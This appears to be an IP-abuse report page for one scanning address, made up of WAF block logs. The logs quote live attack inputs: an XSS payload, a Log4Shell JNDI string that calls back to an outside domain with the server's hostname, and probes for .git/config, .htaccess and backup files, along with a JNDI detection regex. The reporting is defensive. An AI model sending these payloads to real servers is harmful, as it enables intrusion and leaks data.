🇺🇸
wasuma
2026-05-19 14:21:19
(5 months ago)
Honeypot: Apache path traversal RCE — systematic probe for CVE-2021-41773. No payload delivered yet.
Port Scan
Web App Attack
🇺🇸
TPI-Abuse
2026-02-01 11:35:47
(8 months ago)
(mod_security) mod_security (id:210730) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210730) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Feb 01 06:33:35.916775 2026] [security2:error] [pid 16722:tid 16904] [client 104.233.16.89:50131] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||kettlehill.net|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "kettlehill.net"] [uri "/admin/logs/error.log"] [unique_id "aX86D8yMbG6v0xSDvGJedQAAAtI"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-09-22 20:06:19
(1 year ago)
(mod_security) mod_security (id:210492) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210492) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Sep 22 16:06:10.745084 2025] [security2:error] [pid 14683:tid 14683] [client 104.233.16.89:32819] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.deandobkin.com"] [uri "/example.htaccess"] [unique_id "aNGsMpLLkaUrZ_krNZMXTwAAABE"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-09-01 02:08:06
(1 year ago)
(mod_security) mod_security (id:210730) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210730) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Aug 31 22:08:00.563455 2025] [security2:error] [pid 4167172:tid 4167206] [client 104.233.16.89:34571] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||kettlehill.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "kettlehill.com"] [uri "/wp-login.php.bak"] [unique_id "aLUAAOryNSoVQ-6inckzrAAAAVU"], referer: http://kettlehill.com/wp-login.php.bak
show less
Brute-Force
Bad Web Bot
Web App Attack
2025-06-29 05:40:01
(1 year ago)
| Common web attack.
Hacking
SQL Injection
Web App Attack
🇺🇸
TPI-Abuse
2025-06-01 05:43:14
(1 year ago)
(mod_security) mod_security (id:212340) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:212340) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Jun 01 01:43:08.194747 2025] [security2:error] [pid 2256137:tid 2256254] [client 104.233.16.89:55121] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "-->" at ARGS:mapid. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/07_XSS_XSS.conf"] [line "56"] [id "212340"] [rev "5"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||kettlehill.com|F|2"] [data "Matched Data: --> found within ARGS:mapid: --><img src onerror=alert(document.domain)>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "kettlehill.com"] [uri "/"] [unique_id "aDvobGQ8Dui5hvebpq9z5gAAANc"], referer: http://kettlehill.com/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-05-30 16:33:24
(1 year ago)
(mod_security) mod_security (id:210730) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:210730) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri May 30 12:33:14.346930 2025] [security2:error] [pid 372482:tid 372482] [client 104.233.16.89:58015] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.nbcnewsradio.com|F|2"] [data ".example.com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.nbcnewsradio.com"] [uri "/.example.com"] [unique_id "aDndyim0JaW3OgJ4g2d77QAAAAs"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2025-04-27 17:26:36
(1 year ago)
(mod_security) mod_security (id:248270) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Port ...
show more
(mod_security) mod_security (id:248270) triggered by 104.233.16.89 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Apr 27 13:23:24.284661 2025] [security2:error] [pid 9821:tid 10104] [client 104.233.16.89:38159] [client 104.233.16.89] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at ARGS:x. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||weareledsigns.spinningdesigns.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "weareledsigns.spinningdesigns.com"] [uri "/"] [unique_id "aA5oDI7ywYriivV399LtkQAAAUs"], referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.d076g1dk3cfvtmo9ikogx8ce6egyfhian.rsfi.info}
show less
Brute-Force
Bad Web Bot
Web App Attack
🇸🇬
Charles
2025-02-20 20:06:50
(1 year ago)
104.233.16.89 - - [21/Feb/2025:04:06:47 +0800] "GET /.git/config HTTP/1.1" 404 6390 "-" "Mozilla/5.0 ...
show more
104.233.16.89 - - [21/Feb/2025:04:06:47 +0800] "GET /.git/config HTTP/1.1" 404 6390 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/618.2.7 (KHTML, like Gecko) Version/17.5 Safari/618.2.7"
...
show less
Web Spam
Email Spam
Brute-Force
Bad Web Bot
Web App Attack
SSH